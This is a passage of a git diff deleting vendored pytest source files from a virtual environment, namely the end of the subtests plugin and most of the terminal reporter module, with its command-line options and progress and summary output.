AbstractContextManager[None]] - request: SubRequest - config: Config - - def __enter__(self) -> None: - __tracebackhide__ = True - - self._start = time.time() - self._precise_start = time.perf_counter() - self._exc_info = None - - self._exit_stack = ExitStack() - self._captured_output = self._exit_stack.enter_context( - capturing_output(self.request) - ) - self._captured_logs = self._exit_stack.enter_context( - capturing_logs(self.request) - ) - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - __tracebackhide__ = True - if exc_val is not None: - exc_info = ExceptionInfo.from_exception(exc_val) - else: - exc_info = None - - self._exit_stack.close() - - precise_stop = time.perf_counter() - duration = precise_stop - self._precise_start - stop = time.time() - - call_info = CallInfo[None]( - None, - exc_info, - start=self._start, - stop=stop, - duration=duration, - when="call", - _ispytest=True, - ) - report = self.ihook.pytest_runtest_makereport( - item=self.request.node, call=call_info - ) - sub_report = SubtestReport._new( - report, - SubtestContext(msg=self.msg, kwargs=self.kwargs), - captured_output=self._captured_output, - captured_logs=self._captured_logs, - ) - - if sub_report.failed: - failed_subtests = self.config.stash[failed_subtests_key] - failed_subtests[self.request.node.nodeid] += 1 - - with self.suspend_capture_ctx(): - self.ihook.pytest_runtest_logreport(report=sub_report) - - if check_interactive_exception(call_info, sub_report): - self.ihook.pytest_exception_interact( - node=self.request.node, call=call_info, report=sub_report - ) - - if exc_val is not None: - if isinstance(exc_val, get_reraise_exceptions(self.config)): - return False - if self.request.session.shouldfail: - return False - return True - - -@contextmanager -def capturing_output(request: SubRequest) -> Iterator[Captured]: - option = request.config.getoption("capture", None) - - capman = request.config.pluginmanager.getplugin("capturemanager") - if getattr(capman, "_capture_fixture", None): - # capsys or capfd are active, subtest should not capture. - fixture = None - elif option == "sys": - fixture = CaptureFixture(SysCapture, request, _ispytest=True) - elif option == "fd": - fixture = CaptureFixture(FDCapture, request, _ispytest=True) - else: - fixture = None - - if fixture is not None: - fixture._start() - - captured = Captured() - try: - yield captured - finally: - if fixture is not None: - out, err = fixture.readouterr() - fixture.close() - captured.out = out - captured.err = err - - -@contextmanager -def capturing_logs( - request: SubRequest, -) -> Iterator[CapturedLogs | None]: - logging_plugin: LoggingPlugin | None = request.config.pluginmanager.getplugin( - "logging-plugin" - ) - if logging_plugin is None: - yield None - else: - handler = LogCaptureHandler() - handler.setFormatter(logging_plugin.formatter) - - captured_logs = CapturedLogs(handler) - with catching_logs(handler, level=logging_plugin.log_level): - yield captured_logs - - -@dataclasses.dataclass -class Captured: - out: str = "" - err: str = "" - - -@dataclasses.dataclass -class CapturedLogs: - handler: LogCaptureHandler - - -def pytest_report_to_serializable(report: TestReport) -> dict[str, Any] | None: - if isinstance(report, SubtestReport): - return report._to_json() - return None - - -def pytest_report_from_serializable(data: dict[str, Any]) -> SubtestReport | None: - if data.get("_report_type") == "SubTestReport": - return SubtestReport._from_json(data) - return None - - -# Dict of nodeid -> number of failed subtests. -# Used to fail top-level tests that passed but contain failed subtests. -failed_subtests_key = StashKey[defaultdict[str, int]]() - - -def pytest_configure(config: Config) -> None: - config.stash[failed_subtests_key] = defaultdict(int) - - -@hookimpl(tryfirst=True) -def pytest_report_teststatus( - report: TestReport, - config: Config, -) -> tuple[str, str, str | Mapping[str, bool]] | None: - if report.when != "call": - return None - - quiet = config.get_verbosity(Config.VERBOSITY_SUBTESTS) == 0 - if isinstance(report, SubtestReport): - outcome = report.outcome - description = report._sub_test_description() - - if hasattr(report, "wasxfail"): - if quiet: - return "", "", "" - elif outcome == "skipped": - category = "xfailed" - short = "y" # x letter is used for regular xfail, y for subtest xfail - status = "SUBXFAIL" - # outcome == "passed" in an xfail is only possible via a @pytest.mark.xfail mark, which - # is not applicable to a subtest, which only handles pytest.xfail(). - else: # pragma: no cover - # This should not normally happen, unless some plugin is setting wasxfail without - # the correct outcome. Pytest expects the call outcome to be either skipped or - # passed in case of xfail. - # Let's pass this report to the next hook. - return None - return category, short, f"{status}{description}" - - if report.failed: - return outcome, "u", f"SUBFAILED{description}" - else: - if report.passed: - if quiet: - return "", "", "" - else: - return f"subtests {outcome}", "u", f"SUBPASSED{description}" - elif report.skipped: - if quiet: - return "", "", "" - else: - return outcome, "-", f"SUBSKIPPED{description}" - - else: - failed_subtests_count = config.stash[failed_subtests_key][report.nodeid] - # Top-level test, fail if it contains failed subtests and it has passed. - if report.passed and failed_subtests_count > 0: - report.outcome = "failed" - suffix = "s" if failed_subtests_count > 1 else "" - report.longrepr = f"contains {failed_subtests_count} failed subtest{suffix}" - - return None diff --git a/venv/Lib/site-packages/_pytest/terminal.py b/venv/Lib/site-packages/_pytest/terminal.py deleted file mode 100644 index b9a65ff191e113a00ccb937c399ddc62c5243bec..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/terminal.py +++ /dev/null @@ -1,1786 +0,0 @@ -# mypy: allow-untyped-defs -"""Terminal reporting of the full testing process. - -This is a good source for looking at the various reporting hooks. -""" - -from __future__ import annotations - -import argparse -from collections import Counter -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Mapping -from collections.abc import Sequence -import dataclasses -import datetime -from functools import partial -import inspect -from pathlib import Path -import platform -import sys -import textwrap -from typing import Any -from typing import ClassVar -from typing import final -from typing import Literal -from typing import NamedTuple -from typing import TextIO -from typing import TYPE_CHECKING -import warnings - -import pluggy - -from _pytest import compat -from _pytest import nodes -from _pytest import timing -from _pytest._code import ExceptionInfo -from _pytest._code.code import ExceptionRepr -from _pytest._io import TerminalWriter -from _pytest._io.wcwidth import wcswidth -import _pytest._version -from _pytest.compat import running_on_ci -from _pytest.config import _PluggyPlugin -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.nodes import Item -from _pytest.nodes import Node -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.reports import BaseReport -from _pytest.reports import CollectReport -from _pytest.reports import TestReport - - -if TYPE_CHECKING: - from _pytest.main import Session - - -REPORT_COLLECTING_RESOLUTION = 0.5 - -KNOWN_TYPES = ( - "failed", - "passed", - "skipped", - "deselected", - "xfailed", - "xpassed", - "warnings", - "error", - "subtests passed", - "subtests failed", - "subtests skipped", -) - -_REPORTCHARS_DEFAULT = "fE" - - -class MoreQuietAction(argparse.Action): - """A modified copy of the argparse count action which counts down and updates - the legacy quiet attribute at the same time. - - Used to unify verbosity handling. - """ - - def __init__( - self, - option_strings: Sequence[str], - dest: str, - default: object = None, - required: bool = False, - help: str | None = None, - ) -> None: - super().__init__( - option_strings=option_strings, - dest=dest, - nargs=0, - default=default, - required=required, - help=help, - ) - - def __call__( - self, - parser: argparse.ArgumentParser, - namespace: argparse.Namespace, - values: str | Sequence[object] | None, - option_string: str | None = None, - ) -> None: - new_count = getattr(namespace, self.dest, 0) - 1 - setattr(namespace, self.dest, new_count) - # todo Deprecate config.quiet - namespace.quiet = getattr(namespace, "quiet", 0) + 1 - - -class TestShortLogReport(NamedTuple): - """Used to store the test status result category, shortletter and verbose word. - For example ``"rerun", "R", ("RERUN", {"yellow": True})``. - - :ivar category: - The class of result, for example ``“passed”``, ``“skipped”``, ``“error”``, or the empty string. - - :ivar letter: - The short letter shown as testing progresses, for example ``"."``, ``"s"``, ``"E"``, or the empty string. - - :ivar word: - Verbose word is shown as testing progresses in verbose mode, for example ``"PASSED"``, ``"SKIPPED"``, - ``"ERROR"``, or the empty string. - """ - - category: str - letter: str - word: str | tuple[str, Mapping[str, bool]] - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting", "Reporting", after="general") - group._addoption( # private to use reserved lower-case short option - "-v", - "--verbose", - action="count", - default=0, - dest="verbose", - help="Increase verbosity", - ) - group.addoption( - "--no-header", - action="store_true", - default=False, - dest="no_header", - help="Disable header", - ) - group.addoption( - "--no-summary", - action="store_true", - default=False, - dest="no_summary", - help="Disable summary", - ) - group.addoption( - "--no-fold-skipped", - action="store_false", - dest="fold_skipped", - default=True, - help="Do not fold skipped tests in short summary.", - ) - group.addoption( - "--force-short-summary", - action="store_true", - dest="force_short_summary", - default=False, - help="Force condensed summary output regardless of verbosity level.", - ) - group._addoption( # private to use reserved lower-case short option - "-q", - "--quiet", - action=MoreQuietAction, - default=0, - dest="verbose", - help="Decrease verbosity", - ) - group.addoption( - "--verbosity", - dest="verbose", - type=int, - default=0, - help="Set verbosity. Default: 0.", - ) - group._addoption( # private to use reserved lower-case short option - "-r", - "--report-chars", - action="store", - dest="reportchars", - default=_REPORTCHARS_DEFAULT, - metavar="chars", - help="Show extra test summary info as specified by chars: (f)ailed, " - "(E)rror, (s)kipped, (x)failed, (X)passed, " - "(p)assed, (P)assed with output, (a)ll except passed (p/P), or (A)ll. " - "(w)arnings are enabled by default (see --disable-warnings), " - "'N' can be used to reset the list. (default: 'fE').", - ) - group.addoption( - "--disable-warnings", - "--disable-pytest-warnings", - default=False, - dest="disable_warnings", - action="store_true", - help="Disable warnings summary", - ) - group._addoption( # private to use reserved lower-case short option - "-l", - "--showlocals", - action="store_true", - dest="showlocals", - default=False, - help="Show locals in tracebacks (disabled by default)", - ) - group.addoption( - "--no-showlocals", - action="store_false", - dest="showlocals", - help="Hide locals in tracebacks (negate --showlocals passed through addopts)", - ) - group.addoption( - "--tb", - metavar="style", - action="store", - dest="tbstyle", - default="auto", - choices=["auto", "long", "short", "no", "line", "native"], - help="Traceback print mode (auto/long/short/line/native/no)", - ) - group.addoption( - "--xfail-tb", - action="store_true", - dest="xfail_tb", - default=False, - help="Show tracebacks for xfail (as long as --tb != no)", - ) - group.addoption( - "--show-capture", - action="store", - dest="showcapture", - choices=["no", "stdout", "stderr", "log", "all"], - default="all", - help="Controls how captured stdout/stderr/log is shown on failed tests. " - "Default: all.", - ) - group.addoption( - "--fulltrace", - "--full-trace", - action="store_true", - default=False, - help="Don't cut any tracebacks (default is to cut)", - ) - group.addoption( - "--color", - metavar="color", - action="store", - dest="color", - default="auto", - choices=["yes", "no", "auto"], - help="Color terminal output (yes/no/auto)", - ) - group.addoption( - "--code-highlight", - default="yes", - choices=["yes", "no"], - help="Whether code should be highlighted (only if --color is also enabled). " - "Default: yes.", - ) - - parser.addini( - "console_output_style", - help='Console output: "classic", or with additional progress information ' - '("progress" (percentage) | "count" | "progress-even-when-capture-no" (forces ' - "progress even when capture=no)", - default="progress", - ) - Config._add_verbosity_ini( - parser, - Config.VERBOSITY_TEST_CASES, - help=( - "Specify a verbosity level for test case execution, overriding the main level. " - "Higher levels will provide more detailed information about each test case executed." - ), - ) - - -def pytest_configure(config: Config) -> None: - reporter = TerminalReporter(config, sys.stdout) - config.pluginmanager.register(reporter, "terminalreporter") - if config.option.debug or config.option.traceconfig: - - def mywriter(tags, args): - msg = " ".join(map(str, args)) - reporter.write_line("[traceconfig] " + msg) - - config.trace.root.setprocessor("pytest:config", mywriter) - - # See terminalprogress.py. - # On Windows it's safe to load by default. - if sys.platform == "win32": - config.pluginmanager.import_plugin("terminalprogress") - - -def getreportopt(config: Config) -> str: - reportchars: str = config.option.reportchars - - old_aliases = {"F", "S"} - reportopts = "" - for char in reportchars: - if char in old_aliases: - char = char.lower() - if char == "a": - reportopts = "sxXEf" - elif char == "A": - reportopts = "PpsxXEf" - elif char == "N": - reportopts = "" - elif char not in reportopts: - reportopts += char - - if not config.option.disable_warnings and "w" not in reportopts: - reportopts = "w" + reportopts - elif config.option.disable_warnings and "w" in reportopts: - reportopts = reportopts.replace("w", "") - - return reportopts - - -@hookimpl(trylast=True) # after _pytest.runner -def pytest_report_teststatus(report: BaseReport) -> tuple[str, str, str]: - letter = "F" - if report.passed: - letter = "." - elif report.skipped: - letter = "s" - - outcome: str = report.outcome - if report.when in ("collect", "setup", "teardown") and outcome == "failed": - outcome = "error" - letter = "E" - - return outcome, letter, outcome.upper() - - -@dataclasses.dataclass -class WarningReport: - """Simple structure to hold warnings information captured by ``pytest_warning_recorded``. - - :ivar str message: - User friendly message about the warning. - :ivar str|None nodeid: - nodeid that generated the warning (see ``get_location``). - :ivar tuple fslocation: - File system location of the source of the warning (see ``get_location``). - """ - - message: str - nodeid: str | None = None - fslocation: tuple[str, int] | None = None - - count_towards_summary: ClassVar = True - - def get_location(self, config: Config) -> str | None: - """Return the more user-friendly information about the location of a warning, or None.""" - if self.nodeid: - return self.nodeid - if self.fslocation: - filename, linenum = self.fslocation - relpath = bestrelpath(config.invocation_params.dir, absolutepath(filename)) - return f"{relpath}:{linenum}" - return None - - -@final -class TerminalReporter: - def __init__(self, config: Config, file: TextIO | None = None) -> None: - import _pytest.config - - self.config = config - self._numcollected = 0 - self._session: Session | None = None - self._showfspath: bool | None = None - - self.stats: dict[str, list[Any]] = {} - self._main_color: str | None = None - self._known_types: list[str] | None = None - self.startpath = config.invocation_params.dir - if file is None: - file = sys.stdout - self._tw = _pytest.config.create_terminal_writer(config, file) - self._screen_width = self._tw.fullwidth - self.currentfspath: None | Path | str | int = None - self.reportchars = getreportopt(config) - self.foldskipped = config.option.fold_skipped - self.hasmarkup = self._tw.hasmarkup - # isatty should be a method but was wrongly implemented as a boolean. - # We use CallableBool here to support both. - self.isatty = compat.CallableBool(file.isatty()) - self._progress_nodeids_reported: set[str] = set() - self._timing_nodeids_reported: set[str] = set() - self._show_progress_info = self._determine_show_progress_info() - self._collect_report_last_write = timing.Instant() - self._already_displayed_warnings: int | None = None - self._keyboardinterrupt_memo: ExceptionRepr | None = None - - def _determine_show_progress_info( - self, - ) -> Literal["progress", "count", "times", False]: - """Return whether we should display progress information based on the current config.""" - # do not show progress if we are not capturing output (#3038) unless explicitly - # overridden by progress-even-when-capture-no - if ( - self.config.getoption("capture", "no") == "no" - and self.config.getini("console_output_style") - != "progress-even-when-capture-no" - ): - return False - # do not show progress if we are showing fixture setup/teardown - if self.config.getoption("setupshow", False): - return False - cfg: str = self.config.getini("console_output_style") - if cfg in {"progress", "progress-even-when-capture-no"}: - return "progress" - elif cfg == "count": - return "count" - elif cfg == "times": - return "times" - else: - return False - - @property - def verbosity(self) -> int: - verbosity: int = self.config.option.verbose - return verbosity - - @property - def showheader(self) -> bool: - return self.verbosity >= 0 - - @property - def no_header(self) -> bool: - return bool(self.config.option.no_header) - - @property - def no_summary(self) -> bool: - return bool(self.config.option.no_summary) - - @property - def showfspath(self) -> bool: - if self._showfspath is None: - return self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) >= 0 - return self._showfspath - - @showfspath.setter - def showfspath(self, value: bool | None) -> None: - self._showfspath = value - - @property - def showlongtestinfo(self) -> bool: - return self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) > 0 - - @property - def reported_progress(self) -> int: - """The amount of items reported in the progress so far. - - :meta private: - """ - return len(self._progress_nodeids_reported) - - def hasopt(self, char: str) -> bool: - char = {"xfailed": "x", "skipped": "s"}.get(char, char) - return char in self.reportchars - - def write_fspath_result(self, nodeid: str, res: str, **markup: bool) -> None: - fspath = self.config.rootpath / nodeid.split("::", maxsplit=1)[0] - if self.currentfspath is None or fspath != self.currentfspath: - if self.currentfspath is not None and self._show_progress_info: - self._write_progress_information_filling_space() - self.currentfspath = fspath - relfspath = bestrelpath(self.startpath, fspath) - self._tw.line() - self._tw.write(relfspath + " ") - self._tw.write(res, flush=True, **markup) - - def write_ensure_prefix(self, prefix: str, extra: str = "", **kwargs) -> None: - if self.currentfspath != prefix: - self._tw.line() - self.currentfspath = prefix - self._tw.write(prefix) - if extra: - self._tw.write(extra, **kwargs) - self.currentfspath = -2 - - def ensure_newline(self) -> None: - if self.currentfspath: - self._tw.line() - self.currentfspath = None - - def wrap_write( - self, - content: str, - *, - flush: bool = False, - margin: int = 8, - line_sep: str = "\n", - **markup: bool, - ) -> None: - """Wrap message with margin for progress info.""" - width_of_current_line = self._tw.width_of_current_line - wrapped = line_sep.join( - textwrap.wrap( - " " * width_of_current_line + content, - width=self._screen_width - margin, - drop_whitespace=True, - replace_whitespace=False, - ), - ) - wrapped = wrapped[width_of_current_line:] - self._tw.write(wrapped, flush=flush, **markup) - - def write(self, content: str, *, flush: bool = False, **markup: bool) -> None: - self._tw.write(content, flush=flush, **markup) - - def write_raw(self, content: str, *, flush: bool = False) -> None: - self._tw.write_raw(content, flush=flush) - - def flush(self) -> None: - self._tw.flush() - - def write_line(self, line: str | bytes, **markup: bool) -> None: - if not isinstance(line, str): - line = str(line, errors="replace") - self.ensure_newline() - self._tw.line(line, **markup) - - def rewrite(self, line: str, **markup: bool) -> None: - """Rewinds the terminal cursor to the beginning and writes the given line. - - :param erase: - If True, will also add spaces until the full terminal width to ensure - previous lines are properly erased. - - The rest of the keyword arguments are markup instructions. - """ - erase = markup.pop("erase", False) - if erase: - fill_count = self._tw.fullwidth - len(line) - 1 - fill = " " * fill_count - else: - fill = "" - line = str(line) - self._tw.write("\r" + line + fill, **markup) - - def write_sep( - self, - sep: str, - title: str | None = None, - fullwidth: int | None = None, - **markup: bool, - ) -> None: - self.ensure_newline() - self._tw.sep(sep, title, fullwidth, **markup) - - def section(self, title: str, sep: str = "=", **kw: bool) -> None: - self._tw.sep(sep, title, **kw) - - def line(self, msg: str, **kw: bool) -> None: - self._tw.line(msg, **kw) - - def _add_stats(self, category: str, items: Sequence[Any]) -> None: - set_main_color = category not in self.stats - self.stats.setdefault(category, []).extend(items) - if set_main_color: - self._set_main_color() - - def pytest_internalerror(self, excrepr: ExceptionRepr) -> bool: - for line in str(excrepr).split("\n"): - self.write_line("INTERNALERROR> " + line) - return True - - def pytest_warning_recorded( - self, - warning_message: warnings.WarningMessage, - nodeid: str, - ) -> None: - from _pytest.warnings import warning_record_to_str - - fslocation = warning_message.filename, warning_message.lineno - message = warning_record_to_str(warning_message) - - warning_report = WarningReport( - fslocation=fslocation, message=message, nodeid=nodeid - ) - self._add_stats("warnings", [warning_report]) - - def pytest_plugin_registered(self, plugin: _PluggyPlugin) -> None: - if self.config.option.traceconfig: - msg = f"PLUGIN registered: {plugin}" - # XXX This event may happen during setup/teardown time - # which unfortunately captures our output here - # which garbles our output if we use self.write_line. - self.write_line(msg) - - def pytest_deselected(self, items: Sequence[Item]) -> None: - self._add_stats("deselected", items) - - def pytest_runtest_logstart( - self, nodeid: str, location: tuple[str, int | None, str] - ) -> None: - fspath, lineno, domain = location - # Ensure that the path is printed before the - # 1st test of a module starts running. - if self.showlongtestinfo: - line = self._locationline(nodeid, fspath, lineno, domain) - self.write_ensure_prefix(line, "") - self.flush() - elif self.showfspath: - self.write_fspath_result(nodeid, "") - self.flush() - - def pytest_runtest_logreport(self, report: TestReport) -> None: - self._tests_ran = True - rep = report - - res = TestShortLogReport( - *self.config.hook.pytest_report_teststatus(report=rep, config=self.config) - ) - category, letter, word = res.category, res.letter, res.word - if not isinstance(word, tuple): - markup = None - else: - word, markup = word - self._add_stats(category, [rep]) - if not letter and not word: - # Probably passed setup/teardown. - return - if markup is None: - was_xfail = hasattr(report, "wasxfail") - if rep.passed and not was_xfail: - markup = {"green": True} - elif rep.passed and was_xfail: - markup = {"yellow": True} - elif rep.failed: - markup = {"red": True} - elif rep.skipped: - markup = {"yellow": True} - else: - markup = {} - self._progress_nodeids_reported.add(rep.nodeid) - if self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) <= 0: - self._tw.write(letter, **markup) - # When running in xdist, the logreport and logfinish of multiple - # items are interspersed, e.g. `logreport`, `logreport`, - # `logfinish`, `logfinish`. To avoid the "past edge" calculation - # from getting confused and overflowing (#7166), do the past edge - # printing here and not in logfinish, except for the 100% which - # should only be printed after all teardowns are finished. - if self._show_progress_info and not self._is_last_item: - self._write_progress_information_if_past_edge() - else: - line = self._locationline(rep.nodeid, *rep.location) - running_xdist = hasattr(rep, "node") - if not running_xdist: - self.write_ensure_prefix(line, word, **markup) - if rep.skipped or hasattr(report, "wasxfail"): - reason = _get_raw_skip_reason(rep) - if self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) < 2: - available_width = ( - (self._tw.fullwidth - self._tw.width_of_current_line) - - len(" [100%]") - - 1 - ) - formatted_reason = _format_trimmed( - " ({})", reason, available_width - ) - else: - formatted_reason = f" ({reason})" - - if reason and formatted_reason is not None: - self.wrap_write(formatted_reason) - if self._show_progress_info: - self._write_progress_information_filling_space() - else: - self.ensure_newline() - self._tw.write(f"[{rep.node.gateway.id}]") - if self._show_progress_info: - self._tw.write( - self._get_progress_information_message() + " ", cyan=True - ) - else: - self._tw.write(" ") - self._tw.write(word, **markup) - self._tw.write(" " + line) - self.currentfspath = -2 - self.flush() - - @property - def _is_last_item(self) -> bool: - assert self._session is not None - return self.reported_progress == self._session.testscollected - - @hookimpl(wrapper=True) - def pytest_runtestloop(self) -> Generator[None, object, object]: - result = yield - - # Write the final/100% progress -- deferred until the loop is complete. - if ( - self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) <= 0 - and self._show_progress_info - and self.reported_progress - ): - self._write_progress_information_filling_space() - - return result - - def _get_progress_information_message(self) -> str: - assert self._session - collected = self._session.testscollected - if self._show_progress_info == "count": - if collected: - progress = self.reported_progress - counter_format = f"{{:{len(str(collected))}d}}" - format_string = f" [{counter_format}/{{}}]" - return format_string.format(progress, collected) - return f" [ {collected} / {collected} ]" - if self._show_progress_info == "times": - if not collected: - return "" - all_reports = ( - self._get_reports_to_display("passed") - + self._get_reports_to_display("xpassed") - + self._get_reports_to_display("failed") - + self._get_reports_to_display("xfailed") - + self._get_reports_to_display("skipped") - + self._get_reports_to_display("error") - + self._get_reports_to_display("") - ) - current_location = all_reports[-1].location[0] - not_reported = [ - r for r in all_reports if r.nodeid not in self._timing_nodeids_reported - ] - tests_in_module = sum( - i.location[0] == current_location for i in self._session.items - ) - tests_completed = sum( - r.when == "setup" - for r in not_reported - if r.location[0] == current_location - ) - last_in_module = tests_completed == tests_in_module - if self.showlongtestinfo or last_in_module: - self._timing_nodeids_reported.update(r.nodeid for r in not_reported) - return format_node_duration( - sum(r.duration for r in not_reported if isinstance(r, TestReport)) - ) - return "" - if collected: - return f" [{self.reported_progress * 100 // collected:3d}%]" - return " [100%]" - - def _write_progress_information_if_past_edge(self) -> None: - w = self._width_of_current_line - if self._show_progress_info == "count": - assert self._session - num_tests = self._session.testscollected - progress_length = len(f" [{num_tests}/{num_tests}]") - elif self._show_progress_info == "times": - progress_length = len(" 99h 59m") - else: - progress_length = len(" [100%]") - past_edge = w + progress_length + 1 >= self._screen_width - if past_edge: - main_color, _ = self._get_main_color() - msg = self._get_progress_information_message() - self._tw.write(msg + "\n", **{main_color: True}) - - def _write_progress_information_filling_space(self) -> None: - color, _ = self._get_main_color() - msg = self._get_progress_information_message() - w = self._width_of_current_line - fill = self._tw.fullwidth - w - 1 - self.write(msg.rjust(fill), flush=True, **{color: True}) - - @property - def _width_of_current_line(self) -> int: - """Return the width of the current line.""" - return self._tw.width_of_current_line - - def pytest_collection(self) -> None: - if self.isatty(): - if self.config.option.verbose >= 0: - self.write("collecting ... ", flush=True, bold=True) - elif self.config.option.verbose >= 1: - self.write("collecting ... ", flush=True, bold=True) - - def pytest_collectreport(self, report: CollectReport) -> None: - if report.failed: - self._add_stats("error", [report]) - elif report.skipped: - self._add_stats("skipped", [report]) - items = [x for x in report.result if isinstance(x, Item)] - self._numcollected += len(items) - if self.isatty(): - self.report_collect() - - def report_collect(self, final: bool = False) -> None: - if self.config.option.verbose < 0: - return - - if not final: - # Only write the "collecting" report every `REPORT_COLLECTING_RESOLUTION`. - if ( - self._collect_report_last_write.elapsed().seconds - < REPORT_COLLECTING_RESOLUTION - ): - return - self._collect_report_last_write = timing.Instant() - - errors = len(self.stats.get("error", [])) - skipped = len(self.stats.get("skipped", [])) - deselected = len(self.stats.get("deselected", [])) - selected = self._numcollected - deselected - line = "collected " if final else "collecting " - line += ( - str(self._numcollected) + " item" + ("" if self._numcollected == 1 else "s") - ) - if errors: - line += f" / {errors} error{'s' if errors != 1 else ''}" - if deselected: - line += f" / {deselected} deselected" - if skipped: - line += f" / {skipped} skipped" - if self._numcollected > selected: - line += f" / {selected} selected" - if self.isatty(): - self.rewrite(line, bold=True, erase=True) - if final: - self.write("\n") - else: - self.write_line(line) - - @hookimpl(trylast=True) - def pytest_sessionstart(self, session: Session) -> None: - self._session = session - self._session_start = timing.Instant() - if not self.showheader: - return - self.write_sep("=", "test session starts", bold=True) - verinfo = platform.python_version() - if not self.no_header: - msg = f"platform {sys.platform} -- Python {verinfo}" - pypy_version_info = getattr(sys, "pypy_version_info", None) - if pypy_version_info: - verinfo = ".".join(map(str, pypy_version_info[:3])) - msg += f"[pypy-{verinfo}-{pypy_version_info[3]}]" - msg += f", pytest-{_pytest._version.version}, pluggy-{pluggy.__version__}" - if ( - self.verbosity > 0 - or self.config.option.debug - or getattr(self.config.option, "pastebin", None) - ): - msg += " -- " + str(sys.executable) - self.write_line(msg) - lines = self.config.hook.pytest_report_header( - config=self.config, start_path=self.startpath - ) - self._write_report_lines_from_hooks(lines) - - def _write_report_lines_from_hooks( - self, lines: Sequence[str | Sequence[str]] - ) -> None: - for line_or_lines in reversed(lines): - if isinstance(line_or_lines, str): - self.write_line(line_or_lines) - else: - for line in line_or_lines: - self.write_line(line) - - def pytest_report_header(self, config: Config) -> list[str]: - result = [f"rootdir: {config.rootpath}"] - - if config.inipath: - warning = "" - if config._ignored_config_files: - warning = f" (WARNING: ignoring pytest config in {', '.join(config._ignored_config_files)}!)" - result.append( - "configfile: " + bestrelpath(config.rootpath, config.inipath) + warning - ) - - if config.args_source == Config.ArgsSource.TESTPATHS: - testpaths: list[str] = config.getini("testpaths") - result.append("testpaths: {}".format(", ".join(testpaths))) - - plugininfo = config.pluginmanager.list_plugin_distinfo() - if plugininfo: - result.append( - "plugins: {}".format(", ".join(_plugin_nameversions(plugininfo))) - ) - return result - - def pytest_collection_finish(self, session: Session) -> None: - self.report_collect(True) - - lines = self.config.hook.pytest_report_collectionfinish( - config=self.config, - start_path=self.startpath, - items=session.items, - ) - self._write_report_lines_from_hooks(lines) - - if self.config.getoption("collectonly"): - if session.items: - if self.config.option.verbose > -1: - self._tw.line("") - self._printcollecteditems(session.items) - - failed = self.stats.get("failed") - if failed: - self._tw.sep("!", "collection failures") - for rep in failed: - rep.toterminal(self._tw) - - def _printcollecteditems(self, items: Sequence[Item]) -> None: - test_cases_verbosity = self.config.get_verbosity(Config.VERBOSITY_TEST_CASES) - if test_cases_verbosity < 0: - if test_cases_verbosity < -1: - counts = Counter(item.nodeid.split("::", 1)[0] for item in items) - for name, count in sorted(counts.items()): - self._tw.line(f"{name}: {count}") - else: - for item in items: - self._tw.line(item.nodeid) - return - stack: list[Node] = [] - indent = "" - for item in items: - needed_collectors = item.listchain()[1:] # strip root node - while stack: - if stack == needed_collectors[: len(stack)]: - break - stack.pop() - for col in needed_collectors[len(stack) :]: - stack.append(col) - indent = (len(stack) - 1) * " " - self._tw.line(f"{indent}{col}") - if test_cases_verbosity >= 1: - obj = getattr(col, "obj", None) - doc = inspect.getdoc(obj) if obj else None - if doc: - for line in doc.splitlines(): - self._tw.line("{}{}".format(indent + " ", line)) - - @hookimpl(wrapper=True) - def pytest_sessionfinish( - self, session: Session, exitstatus: int | ExitCode - ) -> Generator[None]: - result = yield - self._tw.line("") - summary_exit_codes = ( - ExitCode.OK, - ExitCode.TESTS_FAILED, - ExitCode.INTERRUPTED, - ExitCode.USAGE_ERROR, - ExitCode.NO_TESTS_COLLECTED, - ExitCode.MAX_WARNINGS_ERROR, - ) - if exitstatus in summary_exit_codes and not self.no_summary: - self.config.hook.pytest_terminal_summary( - terminalreporter=self, exitstatus=exitstatus, config=self.config - ) - # Check --max-warnings threshold after all warnings have been collected. - max_warnings = self._get_max_warnings() - if max_warnings is not None and session.exitstatus == ExitCode.OK: - warning_count = len(self.stats.get("warnings", [])) - if warning_count > max_warnings: - session.exitstatus = ExitCode.MAX_WARNINGS_ERROR - self.write_line( - "Tests pass, but maximum allowed warnings exceeded: " - f"{warning_count} > {max_warnings}", - red=True, - ) - if session.shouldfail: - self.write_sep("!", str(session.shouldfail), red=True) - if exitstatus == ExitCode.INTERRUPTED: - self._report_keyboardinterrupt() - self._keyboardinterrupt_memo = None - elif session.shouldstop: - self.write_sep("!", str(session.shouldstop), red=True) - self.summary_stats() - return result - - @hookimpl(wrapper=True) - def pytest_terminal_summary(self) -> Generator[None]: - self.summary_errors() - self.summary_failures() - self.summary_xfailures() - self.summary_warnings() - self.summary_passes() - self.summary_xpasses() - try: - return (yield) - finally: - self.short_test_summary() - # Display any extra warnings from teardown here (if any). - self.summary_warnings() - - def pytest_keyboard_interrupt(self, excinfo: ExceptionInfo[BaseException]) -> None: - self._keyboardinterrupt_memo = excinfo.getrepr(funcargs=True) - - def pytest_unconfigure(self) -> None: - if self._keyboardinterrupt_memo is not None: - self._report_keyboardinterrupt() - - def _report_keyboardinterrupt(self) -> None: - excrepr = self._keyboardinterrupt_memo - assert excrepr is not None - assert excrepr.reprcrash is not None - msg = excrepr.reprcrash.message - self.write_sep("!", msg) - if "KeyboardInterrupt" in msg: - if self.config.option.fulltrace: - excrepr.toterminal(self._tw) - else: - excrepr.reprcrash.toterminal(self._tw) - self._tw.line( - "(to show a full traceback on KeyboardInterrupt use --full-trace)", - yellow=True, - ) - - def _locationline( - self, nodeid: str, fspath: str, lineno: int | None, domain: str - ) -> str: - def mkrel(nodeid: str) -> str: - line = self.config.cwd_relative_nodeid(nodeid) - if domain and line.endswith(domain): - line = line[: -len(domain)] - values = domain.split("[") - values[0] = values[0].replace(".", "::") # don't replace '.' in params - line += "[".join(values) - return line - - # fspath comes from testid which has a "/"-normalized path. - if fspath: - res = mkrel(nodeid) - if self.verbosity >= 2 and ( - nodeid.split("::", maxsplit=1)[0] != nodes.norm_sep(fspath) - ): - res += " <- " + 